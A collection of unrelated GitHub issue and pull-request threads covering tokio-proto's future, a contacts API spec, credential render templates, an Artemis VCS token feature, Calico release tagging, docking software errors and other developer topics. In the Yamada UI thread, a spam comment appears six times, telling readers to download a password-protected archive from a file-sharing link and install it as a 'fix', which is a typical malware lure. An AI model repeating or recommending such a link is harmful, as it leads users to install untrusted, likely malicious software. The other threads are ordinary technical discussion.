Question: What's the future of tokio-proto and should new libraries depend on it?

As a library author I'd love to get some more clarity about the future of tokio-proto.
Within the tokio-reform I can read the following:

So, in general: the future direction for tokio-proto is unclear.

This is not a good foundation for tokio-library developers, is it?

We need to be driven by strong, concrete use-cases.

What exactly do you mean by "strong"?

If you have one of these, we'd love to hear about it!

It might not the most popular use case but nevertheless it is one of many: tokio-modbus.
I recently added a server implementation based on  tokio_proto::TcpServer. It kind of works but I don't see that this is the best solution. E.g. there is no way to configure the TcpStream (timeouts etc.).
I love to spend a lot of time to improve the tokio project and the rust ecosystem in general. And to do so clarity would help a lot :)
I really would like to get some feedback on how I should behave.

I created an issue here: https://github.com/tokio-rs/tokio/issues/118
Tower is going to be the replacement for tokio-service. There currently is no planned replacement for tokio-proto due to lack of resources.
The disclaimer re: "not ready for usage" is mostly in regards to everything in that repo that is not the service trait.

but I'm just confused about how to approach protocol development at the moment.

@tjkirch you are not the only one ;-)
@carllerche recently created some hope:

Ok, I will try to put together a more organized group to attempt to take over -proto.

But there still seems to be a lack of time :(


POST /contacts/{id}/phones

Path: /contacts/{id}/phones
Method: POST
Description: Add phone to a specific Contact
Auth: member
Parameters:

id={String}

Payload:
{
    phone: String,
    valid: Boolean
}

Response:
{
  phones: [{
    phone: String,
    valid: Boolean
  }],
  socials: {
    facebook: String,
    skype: String,
    github: String,
    twitter: String,
    linkedin: String
  },
  mails: [{
      mail: String,
      personal: Boolean
      valid: Boolean
  }],
}

Notes:
id is an _id field of mongodb.
Status codes:

Code
Rule

404
Contact not found

400
Invalid payload or invalid request

200
Always

Tests:

No match

404 status code

Bad payload

Empty phone string

400 status code

All good

Returns modified contact.

Check duplicated phones.
Contact has an ID, missing on the response object.
Test 2 returns the wrong object (should return a Contact object, not a string).


HTML renderMethod display template for generating PDFs

The admin-dashboard should have a page or field(s) for specifying an html template to use with the renderMethod.
If an html template is specified then generated credentials should include the renderMethod property in the VC.
Some options:

The renderMethod could point at a URL from which to get the template.
The template could be directly provided in the renderMethod

Questions:

Should the html template be hosted by the admin-dashboard? That could make it convenient for projects to add new templates, but then there would have to be some guarantee that the dashboard continued running for the expected lifetime of the credentials.

Even if the dashboard provided template hosting, some projects would likely want to host the templates somewhere else (more durable) and so the admin-dashboard would have to have a field in the renderMethod screen for supplying the external URL

If the html template should be entirely provided in the renderMethod then maybe it shouldn't be a template but rather a fully populated html snippet?

Where should the code live for adding the renderMethod property to the VC? In the dashboard code? Or somewhere else since some projects won't use the dashboard, but might well want to use the renderMethod.

Meeting for this scheduled for March 27, 2024.

Questions/considerations, 3/27/24:
Should the html template be hosted by the admin-dashboard? That could make it convenient for projects to add new templates, but then there would have to be some guarantee that the dashboard continued running for the expected lifetime of the credentials.
Dmitri: Not currently embedding into QR code; suggests having larger credentials and deal with it later, James says if it's hosted/embedded somewhere else it's harder to modify.
James: standard templates could come out of the box (community collection of templates), then have dashboard auto link to it, or give users option of putting url into a field in the admin dashboard
Team agrees with James that ideally, we would offer both hosting our own templates, and taking lists out of GH pages, since it's not sustainable with potential read/write limits. Hosting on GH is also difficult for revocation(?). Could instead serve templates out of a db.
Dmitri: offer both UI and template: first try link, then fall back on embedded credential, but would still need somewhere to host credentials.
James: perhaps we need dedicated service for generating template, that also creates json and inserts render portion. Doing as a service would allow us to not use admin dashboard, live separately as npm module.
Kayode: That guidance on whether to embed or host should also be included in the deployment guide
@kayaelle: Would the DCC want to host 1) a list of community templates (host infrastructure), and 2) provide file space for each university to host templates (for each admin dashboard). What about providing hosting for status lists?
Pros: 1) makes it easier to get members up and running (defaults to status list in our storage area), 2) can outlast an institution that goes out of business (provides longer durability)
Cons: 1)Cost? 2)Is this a part of the DCC identity?
Following questions will depend on @kayaelle's response:
Even if the dashboard provided template hosting, some projects would likely want to host the templates somewhere else (more durable) and so the admin-dashboard would have to have a field in the renderMethod screen for supplying the external URL
If the html template should be entirely provided in the renderMethod then maybe it shouldn't be a template but rather a fully populated html snippet?
Where should the code live for adding the renderMethod property to the VC? In the dashboard code? Or somewhere else since some projects won't use the dashboard, but might well want to use the renderMethod. (minor implementation detail, depends on where we host)


Insight page is unavailable

Provide the exact quote of the error or issue
Insight page is unavailable due to error.
500: Internal Server Error.
Does the docs page already exist? Please link to it.
https://yamada-ui.com/insights
Are you willing to participate in fixing this issue and create a pull request with the fix?
None

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

Fixed #2716.


vue component names are not normalised without setup function

Environment

Operating System: Darwin
Node Version:     v20.12.0
Nuxt Version:     3.14.159
CLI Version:      3.15.0
Nitro Version:    2.10.3
Package Manager<EMAIL_ADDRESS>Builder:          -
User Config:      default
Runtime Modules:  -
Build Modules:    -

Reproduction
https://github.com/MooseSaeed/upgrade-guide
Describe the bug
In Nuxt 4, according to #28745, I believe that for the following component:
├─ components/
├─── ParentFolder/
├───── MyComponent.vue

Vue Devtools should show the component name as ParentFolderMyComponent instead of just MyComponent.
But, the Vue Devtools always shows the component name as MyComponent.
Additional context
No response
Logs
No response

this seems to be the case for components which do not have a setup function.
should be a straightforward fix - thanks!


Integrated code lifecycle: Let users generate personal VCS access tokens

Checklist
General

[ ] I tested all changes and their related features with all corresponding user types on a test server.
[x] Language: I followed the guidelines for inclusive, diversity-sensitive, and appreciative language.
[x] I chose a title conforming to the naming conventions for pull requests.

Server

[x] Important: I implemented the changes with a very good performance and prevented too many (unnecessary) database calls.
[x] I strictly followed the server coding and design guidelines.
[x] I added multiple integration tests (Spring) related to the features (with a high test coverage).
[x] I documented the Java code using JavaDoc style.

Client

[x] Important: I implemented the changes with a very good performance, prevented too many (unnecessary) REST calls and made sure the UI is responsive, even with large data.
[x] I strictly followed the client coding and design guidelines.
[x] Following the theming guidelines, I specified colors only in the theming variable files and checked that the changes look consistent in both the light and the dark theme.
[x] I added multiple integration tests (Jest) related to the features (with a high test coverage), while following the test guidelines.
[x] I documented the TypeScript code using JSDoc style.
[x] I added multiple screenshots/screencasts of my UI changes.
[x] I translated all newly inserted strings into English and German.

Changes affecting Programming Exercises

[ ] High priority: I tested all changes and their related features with all corresponding user types on a test server configured with the integrated lifecycle setup (LocalVC and LocalCI).

Motivation and Context

Users should be able to use a personal access token to interact with the LocalVC. Especially for instructors this is handy, as they can use the token (similar as in the gitlab setup), to also clone the student's repositories.
Description

This PR:

Adds VCS access tokens user settings page
Enables users to add/remove their personal access token with user defined expiry date, being able to copy it, and view the expiration date

Steps for Testing

Use TS3 or TS4, on the other test servers token are not yet enabled.
As an instructor go to the settings -> VCS tokens settings -> add a new token
Go to course management and open a programming exercise, which does have student participations
Go to participations
Use the code button to clone the students participation's repository

Testserver States

[!NOTE]
These badges show the state of the test servers.
Green = Currently available, Red = Currently locked
Click on the badges to get to the test servers.

Review Progress

Performance Review

[ ] I (as a reviewer) confirm that the client changes (in particular related to REST calls and UI responsiveness) are implemented with a very good performance
[ ] I (as a reviewer) confirm that the server changes (in particular related to database calls) are implemented with a very good performance

Code Review

[ ] Code Review 1
[ ] Code Review 2

Manual Tests

[ ] Test 1
[ ] Test 2

Test Coverage

Screenshots

Summary by CodeRabbit
Summary by CodeRabbit

New Features

Users can now create and delete Version Control System (VCS) access tokens directly from their settings.
A new settings page for managing VCS access tokens has been introduced, featuring a user-friendly interface.
Users can view and manage the expiry dates of their VCS access tokens.
Added functionality for users to manage SSH public keys, including addition and deletion options.
Enhanced navigation links in user settings for improved clarity on SSH settings and VCS access tokens.
Expanded UI to provide access to tokens based on user possession of VCS access tokens.

Bug Fixes

Improved handling of user authentication states when managing tokens.

Style

Updated user settings interface for clarity and functionality regarding VCS management.

Tests

Introduced unit tests for the new VCS access tokens settings component.
Updated tests to reflect changes in API endpoints for SSH public key management.
Expanded test coverage for user account functionalities related to VCS access.

One question: If a student sets a PAT, what token will be shown in the Clone URL Popup? The one for the task or the PAT?

One question: If a student sets a PAT, what token will be shown in the Clone URL Popup? The one for the task or the PAT?

In the student's exercise view, it will still show the participation's token, even if the student sets a token

Tested on ts6, probably related to ts settings, but I couldn't find the VCS token setting.

Most likely the same issue as in the previous PR: The VCS token feauture is only enabled on TS3 and TS4 at the moment.

Found issues
Address in this PR
* I found a small issue: the title of the tab does not seem to be translated properly
  ![image](https://private-user-images.githubusercontent.com/63976129/359419940-fdb120e5-6910-4e78-93a1-f80f6e823d5e.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQyMzQzMTAsIm5iZiI6MTcyNDIzNDAxMCwicGF0aCI6Ii82Mzk3NjEyOS8zNTk0MTk5NDAtZmRiMTIwZTUtNjkxMC00ZTc4LTkzYTEtZjgwZjZlODIzZDVlLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA4MjElMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwODIxVDA5NTMzMFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTE3MmU0OTQwZWNmODYxYzA2M2ExOWRiNjQyMzQ3Nzg2NDczYzdjZmFlZTI3OTllNjA3OTc5YzFmYzRkNzdlODMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.Oaj_shtHaUGgDYIkjKrHS1QRsz6PJHhagCQWmSBoRrQ)

* ~If a participation does not have a submission it seems like the repository is deleted after a while and cloning does not work anymore - e.g. https://artemis-test3.artemis.cit.tum.de/course-management/14/programming-exercises/402/participations - would it make sense to disable the clone button for such cases~ - I am not sure if such a repository will be of interest, so I guess we do not need extra effort there

Follow-up / issues to be created
* Let's make Artemis more self-explanatory and make sure the token feature is used! Could you add the Token option here if no token is created yet? It should then be disabled and there should be a tooltip that explains that this can only be used when a token was created. At the right hand side of the selection there should be a Button that forwards you to the respective settings page.
  ![image](https://private-user-images.githubusercontent.com/63976129/359423022-a5966231-0d21-4dc7-a7c1-00f9db5339f0.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQyMzQzMTAsIm5iZiI6MTcyNDIzNDAxMCwicGF0aCI6Ii82Mzk3NjEyOS8zNTk0MjMwMjItYTU5NjYyMzEtMGQyMS00ZGM3LWE3YzEtMDBmOWRiNTMzOWYwLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA4MjElMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwODIxVDA5NTMzMFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTlhOWFjY2E1YzY2NDU5MGQ2ZTk4ZGMyYTAzNzU3YTIxYmVhMzFmMTlkMmJjYTA4OTgyMzE3YjgzYTIzZmFjZTkmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.BgxCHt9Dy3lmdTiA611EC7252PoqTw_rLcrKW6QXtY0)

* I think It would be good to disable (as described above) the button when the token has expired - otherwise I copy a link, try to clone and the authentication fails - I think we should even go further and display a notification to the user when the token has expired

If there is no intend to resolve this in a follow-up I think we should create issues for the mentioned improvement ideas
Happy test cases
* tested on ts3

* when the token expired I could not access the repo anymore

* when the token was valid I could access the repository as instructor

* worked for admin user in a course where the admin is no instructor

I think that was a good suggestion, so I added this. When a user has no token, Artemis shows the link to the settings.
The link is disabled now, when the user does not have a token / a ssh key.

Works like a charm. Maybe display a different error message in the code dialogue if the token is expired than when none is set. And if those settings are only relevant for instructors and higher, then maybe hide this setting from normal users

I added a different error message when the token is expired :+1: For now the setting will be still visible for normal users, afaik there is some refactor of the settings components on its way, where this could be added.


compiled version <IP_ADDRESS> (should be latest stable?)

I am observing the same issue as reported in https://github.com/Foreveryone-cz/win-sshfs/issues/32
on Win 7 x64, Dokan 0.7.4, win-sshfs <IP_ADDRESS>.
As reported in the issue linked, v. <IP_ADDRESS> seems to solve the problem. Should <IP_ADDRESS> be the latest stable version? Could a compiled version be supplied (you would greatly help people like me, who do not want to bother with building the stuff)?
In case <IP_ADDRESS> should not be considered stable either, which version would you reccomend to intall (since you disadvise from installing 1.6)?

This is probably caused by the stream not closing properly due to a channel failure or some other ill-dispatched events in Dokan. See https://github.com/sshnet/SSH.NET/commit/5928052150ac5b855f822578589e87329f0cf7a1 and sshnet/SSH.NET#182

Hi all,
Is it possible to have a compiled version?
It really could be cool if this issue is already solved :)
Thank a lot.
Bye.


[BUG] Share View on mobile - Text is pushed off columns; View on desktop is fine

Issue is described HERE, text pasted for convenience:

[Issue] The text is misaligned on pages 1, 6 through 9, 16, and 18
http://homebrewery.naturalcrit.com/share/SkZf7dgqf

Additional information provided:

Page 1
Page 6
And yes, I am using Chrome

Checked "Related Issues", only found one, already closed.

Duplicate of #625 . Closing


Slicing List operators should return the same type not the ListOp class

See #1379

This returns a ListOp even if you slice a ComposedOp, SummedOp or TensoredOp. Is this the desired behavior? If not, a simple solution would be to overwrite __getitem__ method on all this subclasses.

A number of these also construct via self.class so this can be an option too.

Sorry, my bad ):
Yes, I think self.__class__ seems be more convenient, since the same pattern has been used in a few other methods. Can I fix this?

Sure, and please add a unit test(s) for these types to ensure we also end up with the type as expected - thx.

I was about to reuse the same branch that I use the other day, but I found that someone has merged a commit into it. I didn’t know that that was possible (I thought it was mine).
Should I use that branch or make another one to keep the merge cleaner?

A PR cannot be merged if the branch is out-of-date so what happens when you do a PR is that if the branch is out of date, because other PRs were merged since you created the branch from the latest code, then update the branch button here will push a commit back to your fork to update it (it may not be able to sometimes if there are conflicts in the changed files which would require manual intervention to fix things).
The best way is to keep your master branch on your fork up to date the with this repo then create a new branch for each PR - I also delete it once the PR is merged so I am always doing new work on a newly created branch off master.


Typo "Azure Blob storage"→"Azure Blob Storage"

https://docs.microsoft.com/en-us/windows/uwp/monetize/java-code-examples-for-the-windows-store-submission-api

@hyoshioka0128 : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@hyoshioka0128 : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Looks good; thanks @hyoshioka0128.

Looks good; thanks @hyoshioka0128.


Bytesize: Special interest groups - add YouTube

@maxulysse - could you please confirm that this is the correct URL? (You said you trimmed it, is it the same YouTube ID?).

@maxulysse - could you please confirm that this is the correct URL? (You said you trimmed it, is it the same YouTube ID?).

I did the trimming in Youtube


Multiple statement migrations?

Is there a way to do this?
If no, is it planned on the roadmap?

What is that? Can you give an example?

Closing since no response

What they meant was could you do something like
module.exports = {
  up: "SELECT 1; SELECT 1;"
  down: '',
};

Which from my test, no, you can't.

Are you still looking for that feature?

Yes @llibdude, that's what I meant.
@kawadhiya21, I'm not looking for it anymore because I started using another lib for my migrations that supports that (typeorm native migrations).


License Template

I think that this repo template could have Licenses template files.
Sometimes it's hard to define exactly which license our project to have.
With some files, this task could be easier.
Most common examples: https://github.com/github/choosealicense.com/tree/gh-pages/_licenses

@guivirtuoso I've assigned MIT license to this repo.


feat: codacify repo

@tfrgoncalves I can fix those compile errors. You can in the meantime fork the other repository we depend on


Invalid Y coordinate in useMouseInElement()

Hello!
Just letting you know that here y.value is currently set to event.pageX and event.touches[0].clientX. There's also kind of the same problem a bit further down with elY.
Right now this causes y and elementY to return x and elementX respectively.
Thank you for your work!
Edit: I actually noticed this because I thought useParallax() was acting weird and indeed it looks like it's because of useMouseInElement() and elementY.

Thanks for spotting that! I have fixed it and will make a new release soon :)

Released as x.0.21. Thanks :)

Awesome!


issue with freebitcoin

the bot don't start when connected to freebitco.in https://prnt.sc/_tJyP4TPGTO1

Something changed on freebitco.in end. Dicebot latest version used to work fine, and now it's been giving this error for months. Freebitco.in support doesn't reply.

All I know is their support said they switched from Google reCaptcha to hCaptcha, so maybe that broke it.
https://bitcointalk.org/index.php?topic=319540.msg59771021#msg59771021
They said they also tried messaging Seuntjie but he's been MIA for awhile now. Yeah betting on the website is not the same as using the bot :/


Responsive Layout

As one of the first things, let's set up a layout of nested boxes that changes depending on whether we're on a mobile device or not, and also responds to resize.

From an internal discussion:

could we also agree/decide on what should be svg content and what html

My thought on this point is that I think it would be quite clean if we use SVG for everything, and use preserveAspectRatio="xMinYMin slice" to have the SVG fill the space. We can write code that will re-layout the arrangement and resize the SVG at a certain width breakpoint. I believe this would be straightforward to do.

Although, the one thing that strikes me as a potentially great fit for HTML is the typeSelector widget on the top. But that too seems relatively straightforward to produce with SVG as well.
Maybe as a first pass we can try everything as SVG, and see what we might want to swap out later?

this is how I would probably tackle it, using 2 svgs and leveraging bootstrap/semantic UI grid to effortlessly make the type selectors and the left/right panel responsive

with this approach i guess the dropdown series selector, would also be html

i dont think either approach is wrong. some visualisaions i have worked on such as popstats uses one single svg, whereas others, such as the historic population change over time, combines more svg and html. i would say both approaches are valid and have distinct advantages and disadvantages

That division makes total sense. It would be a good way to start integrating the work from https://github.com/unhcr/dataviz-styleguide as well, and see how it plays out.
Here's a rough estimation of which Semantic UI components we could use:

https://semantic-ui.com/collections/grid.html for responsive layout and boxes structure. This works almost exactly the same as Bootstrap. The main difference I can see is that there are a total of 16 "units" of width, where in Bootstrap there are 12.
https://semantic-ui.com/modules/checkbox.html For the type selector. Their design is so similar, we just need to tweak a few Less variables for color and sizing:

https://semantic-ui.com/elements/button.html for "reset selection"

https://semantic-ui.com/views/statistic.html For the numbers on the top right

ok perfect!


TLS v1_2 is not supported on latest python 2.7.15

I found bug in pythonzimbra/tools/urllib2_tls written as hard code:
self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file,                                     ssl_version=ssl.PROTOCOL_TLSv1)
I've changed to  ssl.PROTOCOL_TLSv1 to  ssl.PROTOCOL_TLSv1_2, worked successfully for me.
self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file,                                     ssl_version=ssl.PROTOCOL_TLSv1_2)
alternatively solution:
remove code in /pythonzimbra/communication.py:
       if sys.version < '3' and self.url.startswith("https"):
      `  # Force tlsv1 on https-requests in Python 2`

      `  import tools.urllib2_tls `

please fix it...

done


key_exchange_identification

Gitea Version
1.15.4
Git Version
No response
Operating System
No response
How are you running Gitea?
Helm chart
Database
No response
Can you reproduce the bug on the Gitea demo site?
No
Log Gist
No response
Description
The log keeps appearing
kex_exchange_identification: client sent invalid protocol identifier "GET /metrics HTTP/1.1"^M
banner exchange: Connection from {ip-address} port {port}: invalid format

Any ideas?
Screenshots
No response

Not a bug. You are trying to access "https://xxxx" but you are sending "http://xxxx" requests.

Maybe the health/metric metric of helm-chart should be improved. You may open an issue in the helm-chart repository. https://gitea.com/gitea/helm-chart/


Problem with a ZINC15 ligand ZINC000170910319

Hi,
when I use quickvina2 with the ligand ZINC000170910319 I receive the following:
$ qvina2 --config docking_conf_vina_1.txt
############################################################################
# If you used Quick Vina 2 in your work, please cite:                      #
#                                                                          #
# Amr Alhossary, Stephanus Daniel Handoko, Yuguang Mu, and Chee-Keong Kwoh,#
# Fast, Accurate, and Reliable Molecular Docking with QuickVina 2,         #
# Bioinformatics (2015), doi: 10.1093/bioinformatics/btv082                #
#                                                                          #
# You are also encouraged to cite Quick Vina 1:                            #
# Stephanus Daniel Handoko, Xuchang Ouyang, Chinh Tran To Su, Chee Keong   #
# Kwoh, Yew Soon Ong,                                                      #
# QuickVina: Accelerating AutoDock Vina Using Gradient-Based Heuristics for#
# Global Optimization,                                                     #
# IEEE/ACM Transactions on Computational Biology and Bioinformatics,vol.9, #
# no. 5, pp. 1266-1272, Sept.-Oct. 2012, doi: 10.1109/TCBB.2012.82         #
#                                                                          #
# and original AutoDock Vina paper:                                        #
# O. Trott, A. J. Olson,                                                   #
# AutoDock Vina: improving the speed and accuracy of docking with a        #
# new scoring function, efficient optimization and multithreading,         #
# Journal of Computational Chemistry 31 (2010) 455-461                     #
# doi: 10.1002/jcc.21334                                                   #
############################################################################
Output will be ./zinc15_ligs_1/ZINC000170910319_out.pdbqt
Detected 32 CPUs
Reading input ...
Parse error on line 71 in file "./zinc15_ligs_1/ZINC000170910319.pdbqt": ATOM syntax incorrect: "CG0" is not a valid AutoDock type. Note that AutoDock atom types are case-sensitive.
If I use vina v1.2.3  with the same receptor and ligand all works fine as can be seen fron the following:
$ time vina --config docking_conf_vina_1.txt
AutoDock Vina v1.2.3
#################################################################
# If you used AutoDock Vina in your work, please cite:          #
#                                                               #
# J. Eberhardt, D. Santos-Martins, A. F. Tillack, and S. Forli  #
# AutoDock Vina 1.2.0: New Docking Methods, Expanded Force      #
# Field, and Python Bindings, J. Chem. Inf. Model. (2021)       #
# DOI 10.1021/acs.jcim.1c00203                                  #
#                                                               #
# O. Trott, A. J. Olson,                                        #
# AutoDock Vina: improving the speed and accuracy of docking    #
# with a new scoring function, efficient optimization and       #
# multithreading, J. Comp. Chem. (2010)                         #
# DOI 10.1002/jcc.21334                                         #
#                                                               #
# Please see https://github.com/ccsb-scripps/AutoDock-Vina for  #
# more information.                                             #
#################################################################
Output will be ./zinc15_ligs_1/ZINC000170910319_out.pdbqt
Scoring function : vina
Rigid receptor: receptor.pdbqt
Ligand: ./zinc15_ligs_1/ZINC000170910319.pdbqt
Grid center: X 112.7 Y 109.3 Z 113.165
Grid size  : X 20.71 Y 19.73 Z 16.24
Grid space : 0.375
Exhaustiveness: 32
CPU: 0
Verbosity: 1
Computing Vina grid ... done.
Performing docking (random seed: -1790117891) ...
0%   10   20   30   40   50   60   70   80   90   100%
|----|----|----|----|----|----|----|----|----|----|
***************************************************
mode |   affinity | dist from best mode
| (kcal/mol) | rmsd l.b.| rmsd u.b.
-----+------------+----------+----------
1       -9.032          0          0
2       -8.974      2.744      6.242
3        -8.94      1.944      3.354
4       -8.938      1.828      2.786
5       -8.876      2.893        5.2
real	0m41,052s
user	18m34,348s
sys	0m0,868s
It is possible to fix this?
Thanks.
Saverio

Hi,
the pdbqt converted file that gives the problem is:
ZINC000170910319.pdbqt.txt
Thanks.
Saverio

QVina depends on Vina 1.1.2.
which does not know the new (expanded) forcefield. If you like to compile the new definitions file and submit a pull request, it would be highly appreciated


how to make Utteranc.es theme follow archie's?

hello, I am a total beginer in web dev. I want to add comment system named "Utteranc.es" in archie.  But I got some problems.
<script src="https://utteranc.es/client.js"
        repo="[ENTER REPO HERE]"
        issue-term="pathname"
        theme="github-dark"
        crossorigin="anonymous"
        async>
</script>

my plan is, the theme of utterances follows archie's dark/light mode.
I tried the way like  theme="github-{{mode}}" but failed.
But I can not find a way to do it. Any suggestions would be very appreciated!

I have been using another theme on my website called hugo-stack. that used a variable to store the value of the theme i.e. light/dark and use that value in theme="github-. the full file looks something like this:
<script src="https://utteranc.es/client.js"
        repo="{{ .Site.Params.comments.utterances.repo }}"
        issue-term="{{ .Site.Params.comments.utterances.issueTerm }}"
        {{ with .Site.Params.comments.utterances.label }}
        label="{{ . }}"
        {{ end }}
        crossorigin="anonymous"
        async
        >
</script>

<style>
    .utterances {
        max-width: unset;
    }
</style>

<script>
    let utterancesLoaded = false;

    function setUtterancesTheme(theme) {
        let utterances = document.querySelector('.utterances iframe');
        if (utterances) {
            utterances.contentWindow.postMessage(
                {
                    type: 'set-theme',
                    theme: `github-${theme}`
                },
                'https://utteranc.es'
            );
        }
    }

    addEventListener('message', event => {
        if (event.origin !== 'https://utteranc.es') return;

        /// Called when Utterances is ready
        utterancesLoaded = true;
        setUtterancesTheme(document.documentElement.dataset.scheme)
    });

    window.addEventListener('onColorSchemeChange', (e) => {
        if (!utterancesLoaded) return;
        setUtterancesTheme(e.detail)
    })
</script>


timing against clock falling edge

Actually I would like to write about 4 separate issues, but would like to avoid flooding the issue tracker with questions.
If you think this should be separate issues I can create them.
The use of the falling edge of the clock to synchronize internal operations should be stated more explicitly, since it does not meet some generic expectations.
For example, clock falling edge sensitivity means, that clock duty cycle affects timing.
If a designer decides to reduce the clock frequency to meet read data timing, the added margin is half of what would be if all internal operations were synchronized on the clock rising edge.
I only found the timing in the slide presentation I spent some time looking for it elsewhere, mostly finding old documents.
Could you create a timing diagram to be displayed with the generated report?
Could you write a mapping between values on the diagram and values in generated tables?
The Verilog model is using the blocking assignment operator = for synchronous code, while the non-blocking operator <= should be used.
I can create a patch for this part of the generator without too much trouble, I am just not sure if there are any specific reasons for using the blocking operator (compatibility with some old tool).
I could also rewrite the ports in a more compact Verilog 2001 style. Again I am asking if there are specific reasons for using older Verilog syntax? While I have not used a tool without Verilog 2001 support in a while, it is true many generated netlist files still use ancient syntax.
I would add this change as a separate commit, so you can decide whether to merge it or not.

It is necessary to measure timing against the negative clock. If we didn't, we would then need to have a separate lib file for each clock frequency since that would be a part of the timing data.
We are finalizing some other control implementations if you don't like this. These are still being finished though.
We would welcome additional help with documentation.
The Verilog model is a non synthesizable behavioral model. It is intended to actually model the don't care and edge behavior. We use the oldest standard for maximum compatibility. This is also generated code.
We could change the blocking to non blocking but it really doesn't matter since none of the signals are reused in the block. The behavior and result would be the same.


Could someone please let me know why latest tag gets updated for a bug fix release of a previous version?

Hi Team,
I have reported this before, and thought this was in the pipeline .
For our testing environments, we fetch latest release version information using API.
https://api.github.com/repos/projectcalico/calico/releases/latest
We do this for k8s as well, their latest tag seems to be intact .
https://api.github.com/repos/kubernetes/kubernetes/releases/latest
Say if they are on a latest release version, v1.31.0 , the latest tag would be updated only when major version or minor version or patch version from the current latest latest version is released ( i.e if the release is v1.31.1 or v1.32.0 or v2.0.0  so on ) following semantic versioning .
If they release patch release for a previous version v1.29.x, say 1.29.8 they don't update the latest tag, they release it without updating the latest tag.
keeping the latest tag tree always on the latest major.minor.patch track .
I see this with most cases, containerd as well follows the same approach .
https://api.github.com/repos/containerd/containerd/releases/latest
In the case of calico releases, the latest tag gets updated irrespective of the releases, so the latest tag goes back and forth.
Currently it points to the new patch release of a previous version v3.26.5 .
But the actual latest vMajor.Minor.Patch release version is v3.28.1 .
I know, the latest tag would be changed back to v3.28.1 again, or whatever the actual latest release .
But why this release pattern, if a patch release of a previous version is released why its affecting the latest release tree?
Why couldn't calico follow similar patterns of k8s, containerd and so on?
This was reported before in below issues previously.
https://github.com/projectcalico/calico/issues/8999
Thanks and Regards,
Muthukumar Subramaniam

I think @danudey explained the problem on the other issue.  The tool we use to do releases doesn't support suppressing the latest tag as you would like.  We would also prefer not to move the latest release back to an older version.  I recommend adjusting your tooling to avoid downgrading the minor version.  You always want the latest patch release of the most recent minor version.  Just ignore the latest tag and you'll be fine.

Hi @fasaxc, thank you for the comment on this.
Need to do some work around on this.
Any suggestions from your end, as the automation tool fetches the latest release information of kubernetes, containerd, runc, and csi storage drivers fine from the github API, we thought this could be done from calico project as well.
Eventhough its not production, its a test bed for continuous integration and testing of new features.
It does automated deployment of k8s clusters.
calico is our go to CNI plugin, any chances this release method is to be changed in future.

Hi @Muthukumar-Subramaniam,
Thanks for providing the extra detail about your use case; it does help to understand the specific issue you're having and how this is impacting you, and that can help prioritize these kinds of tasks.
We will definitely be working on getting this issue solved, since it is likely to cause user confusion in any case and not just your own - imagine a user getting the "latest" Calico today and installing v3.26, then discovering they have many upgrades to go. Definitely not a great experience.
In your case, I understand why it's cumbersome; an automated process which relies on the correct things happening falls completely apart when someone does an incorrect thing, and it's especially frustrating when they knew that incorrect thing was going to happen. I hope this hasn't caused you too many issues with this most recent release, but it seems critical to your workflow and I wonder how many other users are having similar issues but not mentioning it. I'll raise the priority of this fix in my task queue and see if I can get it implemented to avoid breaking your testing pipeline.
In the meantime:

Any suggestions from your end

I wouldn't normally suggest fixing your process to work around our issues, since that can come off as quite arrogant, but theoretically you could fetch the latest list of releases and sort them by semver (all of our releases are named after tags, and, if you remove the v at the start, are semver-compliant). That will give you the most recent release, no matter what happens. It's not beautiful, but it would work.
I've manually marked v3.28.1 as the 'latest release' in Github so your automation can do the right thing for now, and hopefully we can resolve this issue for you soon.

Hi @Muthukumar-Subramaniam,
Thanks for providing the extra detail about your use case; it does help to understand the specific issue you're having and how this is impacting you, and that can help prioritize these kinds of tasks.
We will definitely be working on getting this issue solved, since it is likely to cause user confusion in any case and not just your own - imagine a user getting the "latest" Calico today and installing v3.26, then discovering they have many upgrades to go. Definitely not a great experience.
